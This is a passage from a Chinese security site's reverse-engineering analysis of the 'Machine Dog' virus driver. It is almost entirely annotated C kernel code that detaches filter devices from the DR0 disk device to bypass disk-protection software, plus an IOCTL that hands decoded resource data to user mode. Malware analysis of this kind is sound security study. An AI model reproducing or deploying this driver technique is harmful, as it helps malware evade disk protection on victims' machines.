通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络攻防 >> 文章正文
“机器狗”病毒驱动部分逆向分析注释(C代码)
责任编辑:酷酷の鱼   更新日期:2008-3-17
 

 

ntStatus = IoCreateDevice(
 DriverObject, // Our Driver Object
 0, // We don’t use a device extension
 &DeviceName, 
 FILE_DEVICE_NULL, // Device type
 0, // Device characteristics //此处应该用FILE_DEVICE_SECURE_OPEN吧?
 FALSE, // Not an exclusive device
 &DeviceObject ); // Returned ptr to Device Object

 if ( !NT_SUCCESS( ntStatus ) )
 {
 goto End;
 }

 ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName );

 if ( !NT_SUCCESS( ntStatus ) )
 {
 cur_device_object = DriverObject->DeviceObject;

 while (cur_device_object)
 {
 next_device_object = DeviceObject->NextDevice;
 IoDeleteDevice(cur_device_object);
 cur_device_object = next_device_object;
 }
 }

End:
 RtlFreeUnicodeString(&DeviceName);
 RtlFreeUnicodeString(&SymbolicLinkName);

 return STATUS_SUCCESS;
}

VOID
Unload(
 IN PDRIVER_OBJECT DriverObject
 )
{
 ANSI_STRING SourceString;
 PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object
 UNICODE_STRING SymbolicLinkName; 
 PDEVICE_OBJECT cur_device_object;
 PDEVICE_OBJECT next_device_object;

 if (g_ResData)
 {
 ExFreePool(g_ResData);
 }

 if (DriverObject)
 {
 RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
 RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);

 IoDeleteSymbolicLink(&SymbolicLinkName);
 RtlFreeUnicodeString(&SymbolicLinkName);

 cur_device_object = DriverObject->DeviceObject;

 while (cur_device_object)
 {
 next_device_object = DeviceObject->NextDevice;
 IoDeleteDevice(cur_device_object);
 cur_device_object = next_device_object;
 }
 }
}

NTSTATUS
CommonDispatch(
 IN PDEVICE_OBJECT DeviceObject,
 IN PIRP Irp
 )
{
 PDEVICE_OBJECT DRO_DeviceObject = NULL; // ptr to device object
 PFILE_OBJECT DRO_FileObject;
 ANSI_STRING SourceString;
 UNICODE_STRING DRO_DeviceName; 

 PIO_STACK_LOCATION irpSp;// Pointer to current stack location
 NTSTATUS ntStatus = STATUS_SUCCESS;// Assume success
 ULONG inBufLength; // Input buffer length
 ULONG outBufLength; // Output buffer length

 Irp->IoStatus.Status = STATUS_SUCCESS;
 Irp->IoStatus.Information = 0;

 irpSp = IoGetCurrentIrpStackLocation( Irp );
 inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
 outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;

 if(!inBufLength || !outBufLength)
 {
 ntStatus = STATUS_INVALID_PARAMETER;
 goto End;
 }

 switch ( irpSp->MajorFunction )
 {
 case IRP_MJ_CREATE:
 RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME);
 RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE);

 IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject, &DRO_DeviceObject);
 g_DR0_DeviceObject = DRO_FileObject->DeviceObject;

 //保存DR0上的附加设备,然后断开附加,等IRP_MJ_CLOSE时恢复附加
 if (DRO_FileObject->DeviceObject->AttachedDevice)
 {
 g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice;
 DRO_FileObject->DeviceObject->AttachedDevice= NULL;
 }

 ObDereferenceObject(DRO_FileObject);

 RtlFreeUnicodeString(&DRO_DeviceName);

 break;
 case IRP_MJ_CLOSE:
 if (g_DR0_DeviceObject)
 {
 if (g_OldAttachedDeviceOfDR0)
 {
 g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0;
 }
 }

 break;
 case IRP_MJ_DEVICE_CONTROL:
 if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04)
 {
 if (outBufLength < g_ResDataSize)
 goto End;

 // 此处就是提取驱动里的资源解码返回给ap层,很简单,不再反汇编了,此处省略
 // 唯一不理解的是既然是双缓冲应该用IRP.AssociatedIrp.SystemBuffer返回给ap才是
 // 难道此时Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同??
 RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize);

 Irp->IoStatus.Information = g_ResDataSize;
 }
 else
 {
 ntStatus = STATUS_INVALID_DEVICE_REQUEST;
 }

 break;

 default:

 //
 // The specified I/O control code is unrecognized by this driver.
 //

 ntStatus = STATUS_INVALID_DEVICE_REQUEST;
 break;
 }

End:
 //
 // Finish the I/O operation by simply completing the packet and returning
 // the same status as in the packet itself.
 //

 Irp->IoStatus.Status = ntStatus;

 IoCompleteRequest( Irp, IO_NO_INCREMENT );

 return ntStatus;
}

上一页  [1] [2] 

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 Delphi编程培训班开课了
    普通文章 瑞星公司03月17日发布 每日计算机病毒及木马播报
    普通文章 “杀毒”立法成两会热点 安全厂商担重任
    普通文章 应用软件存在漏洞 互联网安全面临强劲挑战
    普通文章 给你加强操作系统安全的十个建议!
    推荐文章 推荐:SA权限下的思路变通
    普通文章 网管员需要注意十点安全技巧
    普通文章 浅谈黑客入侵的四条途径与防护
    普通文章 Cmsez(随易)全站系统 0day
    普通文章 木马生成技术
    热门文章
    普通文章瑞星公司03月07日发布 每日计算机病毒及木马播报
    普通文章浅析:以策略遵从为核心的终端安全
    普通文章如何使用FreeBSD防火墙保护企业网络
    推荐文章推荐:别以为你的电脑很安全(附BS马夫解决方案)
    普通文章从攻击者角度来阐述如何防御黑客攻击
    普通文章企业焦点 主动防御能否保障安全
    普通文章网络四面楚歌 杀毒软件遭遇严峻考验
    普通文章艳照暗藏陷阱 看艳照当心密码被盗
    普通文章微软宣布IE8将全面兼容通用网络标准
    普通文章金山预警:"狂犬病"肆虐互联网
    精彩专题